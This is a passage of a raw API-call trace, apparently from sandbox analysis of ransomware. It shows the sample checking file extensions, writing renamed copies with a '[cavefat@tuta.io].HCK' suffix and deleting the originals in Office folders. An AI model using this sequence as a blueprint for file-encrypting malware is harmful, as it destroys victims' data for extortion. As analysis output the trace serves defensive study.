(lpString=".rar") returned 4 [0231.618] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0231.618] lstrlenW (lpString=".bz2") returned 4 [0231.618] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0231.618] lstrlenW (lpString=".7z") returned 3 [0231.618] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0231.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0231.618] lstrlenW (lpString=".dbf") returned 4 [0231.618] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0231.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0231.618] lstrlenW (lpString=".1cd") returned 4 [0231.618] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0231.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 68 [0231.618] lstrlenW (lpString=".jpg") returned 4 [0231.618] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0231.618] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0231.618] lstrlenW (lpString="Reflection.eftx") returned 15 [0231.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0231.619] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=48366) returned 1 [0231.619] CloseHandle (hObject=0x534) returned 1 [0231.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220 [0231.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0231.620] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.620] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0231.621] GetLastError () returned 0x0 [0231.621] ReadFile (in: hFile=0x534, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0xbcee, lpOverlapped=0x0) returned 1 [0231.623] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xbcf0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xbcf0, lpOverlapped=0x0) returned 1 [0231.624] ReadFile (in: hFile=0x534, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.624] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf2, lpOverlapped=0x0) returned 1 [0231.624] SetEndOfFile (hFile=0x4c0) returned 1 [0231.624] CloseHandle (hObject=0x4c0) returned 1 [0231.624] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.625] SetEndOfFile (hFile=0x534) returned 1 [0231.627] CloseHandle (hObject=0x534) returned 1 [0231.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 1 [0231.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0231.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0231.628] lstrlenW (lpString=".doc") returned 4 [0231.628] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.628] lstrlenW (lpString=".docx") returned 5 [0231.628] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.628] lstrlenW (lpString=".pdf") returned 4 [0231.628] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.628] lstrlenW (lpString=".xls") returned 4 [0231.628] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.628] lstrlenW (lpString=".xlsx") returned 5 [0231.628] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.628] lstrlenW (lpString=".ppt") returned 4 [0231.628] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0231.628] lstrlenW (lpString=".zip") returned 4 [0231.628] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.628] lstrlenW (lpString=".rar") returned 4 [0231.628] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.628] lstrlenW (lpString=".bz2") returned 4 [0231.628] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.628] lstrlenW (lpString=".7z") returned 3 [0231.628] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0231.628] lstrlenW (lpString=".dbf") returned 4 [0231.628] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0231.628] lstrlenW (lpString=".1cd") returned 4 [0231.628] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0231.628] lstrlenW (lpString=".jpg") returned 4 [0231.628] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0231.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0231.629] lstrlenW (lpString=".doc") returned 4 [0231.629] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.629] lstrlenW (lpString=".docx") returned 5 [0231.629] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.629] lstrlenW (lpString=".pdf") returned 4 [0231.629] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.629] lstrlenW (lpString=".xls") returned 4 [0231.629] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.629] lstrlenW (lpString=".xlsx") returned 5 [0231.629] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.629] lstrlenW (lpString=".ppt") returned 4 [0231.629] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0231.629] lstrlenW (lpString=".zip") returned 4 [0231.629] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.629] lstrlenW (lpString=".rar") returned 4 [0231.629] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.629] lstrlenW (lpString=".bz2") returned 4 [0231.629] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.629] lstrlenW (lpString=".7z") returned 3 [0231.629] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0231.629] lstrlenW (lpString=".dbf") returned 4 [0231.629] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0231.629] lstrlenW (lpString=".1cd") returned 4 [0231.629] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0231.629] lstrlenW (lpString=".jpg") returned 4 [0231.629] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.629] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0231.629] lstrlenW (lpString="Riblet.eftx") returned 11 [0231.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0231.630] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=295074) returned 1 [0231.630] CloseHandle (hObject=0x534) returned 1 [0231.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 0x220 [0231.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0231.631] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.631] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0231.631] GetLastError () returned 0x0 [0231.631] ReadFile (in: hFile=0x534, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x480a2, lpOverlapped=0x0) returned 1 [0231.642] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x480b0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x480b0, lpOverlapped=0x0) returned 1 [0231.646] ReadFile (in: hFile=0x534, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.646] WriteFile (in: hFile=0x4c0, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0xea, lpOverlapped=0x0) returned 1 [0231.647] SetEndOfFile (hFile=0x4c0) returned 1 [0231.647] CloseHandle (hObject=0x4c0) returned 1 [0231.647] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.647] SetEndOfFile (hFile=0x534) returned 1 [0232.271] CloseHandle (hObject=0x534) returned 1 [0232.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx")) returned 1 [0232.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0232.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0232.617] lstrlenW (lpString=".doc") returned 4 [0232.617] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0232.617] lstrlenW (lpString=".docx") returned 5 [0232.617] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0232.618] lstrlenW (lpString=".pdf") returned 4 [0232.618] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0232.618] lstrlenW (lpString=".xls") returned 4 [0232.618] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0232.618] lstrlenW (lpString=".xlsx") returned 5 [0232.618] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0232.618] lstrlenW (lpString=".ppt") returned 4 [0232.618] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0232.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0232.618] lstrlenW (lpString=".zip") returned 4 [0232.618] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0232.618] lstrlenW (lpString=".rar") returned 4 [0232.618] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0232.618] lstrlenW (lpString=".bz2") returned 4 [0232.618] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0232.618] lstrlenW (lpString=".7z") returned 3 [0232.618] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0232.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0232.618] lstrlenW (lpString=".dbf") returned 4 [0232.618] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0232.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0232.618] lstrlenW (lpString=".1cd") returned 4 [0232.618] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0232.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0232.618] lstrlenW (lpString=".jpg") returned 4 [0232.618] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0232.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0232.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0232.618] lstrlenW (lpString=".doc") returned 4 [0232.618] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0232.618] lstrlenW (lpString=".docx") returned 5 [0232.618] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0232.618] lstrlenW (lpString=".pdf") returned 4 [0232.618] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0232.618] lstrlenW (lpString=".xls") returned 4 [0232.618] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0232.618] lstrlenW (lpString=".xlsx") returned 5 [0232.618] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0232.618] lstrlenW (lpString=".ppt") returned 4 [0232.618] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0232.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0232.618] lstrlenW (lpString=".zip") returned 4 [0232.619] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0232.619] lstrlenW (lpString=".rar") returned 4 [0232.619] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0232.619] lstrlenW (lpString=".bz2") returned 4 [0232.619] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0232.619] lstrlenW (lpString=".7z") returned 3 [0232.619] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0232.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0232.619] lstrlenW (lpString=".dbf") returned 4 [0232.619] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0232.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0232.619] lstrlenW (lpString=".1cd") returned 4 [0232.619] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0232.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx") returned 83 [0232.619] lstrlenW (lpString=".jpg") returned 4 [0232.619] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0232.619] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.619] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0232.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.859] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=21184) returned 1 [0232.859] CloseHandle (hObject=0x4b0) returned 1 [0232.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0232.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0232.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0232.862] lstrlenW (lpString=".doc") returned 4 [0232.862] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.862] lstrlenW (lpString=".docx") returned 5 [0232.862] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0232.862] lstrlenW (lpString=".pdf") returned 4 [0232.862] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.862] lstrlenW (lpString=".xls") returned 4 [0232.862] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.862] lstrlenW (lpString=".xlsx") returned 5 [0232.862] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0232.862] lstrlenW (lpString=".ppt") returned 4 [0232.862] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0232.862] lstrlenW (lpString=".zip") returned 4 [0232.862] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.862] lstrlenW (lpString=".rar") returned 4 [0232.862] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.862] lstrlenW (lpString=".bz2") returned 4 [0232.862] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.862] lstrlenW (lpString=".7z") returned 3 [0232.862] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0232.862] lstrlenW (lpString=".dbf") returned 4 [0232.862] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0232.862] lstrlenW (lpString=".1cd") returned 4 [0232.862] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0232.862] lstrlenW (lpString=".jpg") returned 4 [0232.862] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0232.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0232.862] lstrlenW (lpString=".doc") returned 4 [0232.863] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.863] lstrlenW (lpString=".docx") returned 5 [0232.863] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0232.863] lstrlenW (lpString=".pdf") returned 4 [0232.863] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.863] lstrlenW (lpString=".xls") returned 4 [0232.863] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.863] lstrlenW (lpString=".xlsx") returned 5 [0232.863] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0232.863] lstrlenW (lpString=".ppt") returned 4 [0232.863] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0232.863] lstrlenW (lpString=".zip") returned 4 [0232.863] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.863] lstrlenW (lpString=".rar") returned 4 [0232.863] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.863] lstrlenW (lpString=".bz2") returned 4 [0232.863] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.863] lstrlenW (lpString=".7z") returned 3 [0232.863] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0232.863] lstrlenW (lpString=".dbf") returned 4 [0232.863] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0232.863] lstrlenW (lpString=".1cd") returned 4 [0232.863] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88 [0232.863] lstrlenW (lpString=".jpg") returned 4 [0232.863] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.863] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.863] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41 [0232.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.864] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=19136) returned 1 [0232.864] CloseHandle (hObject=0x4b0) returned 1 [0232.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0232.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0232.864] lstrlenW (lpString="C:\\Program Files\\Microsoft 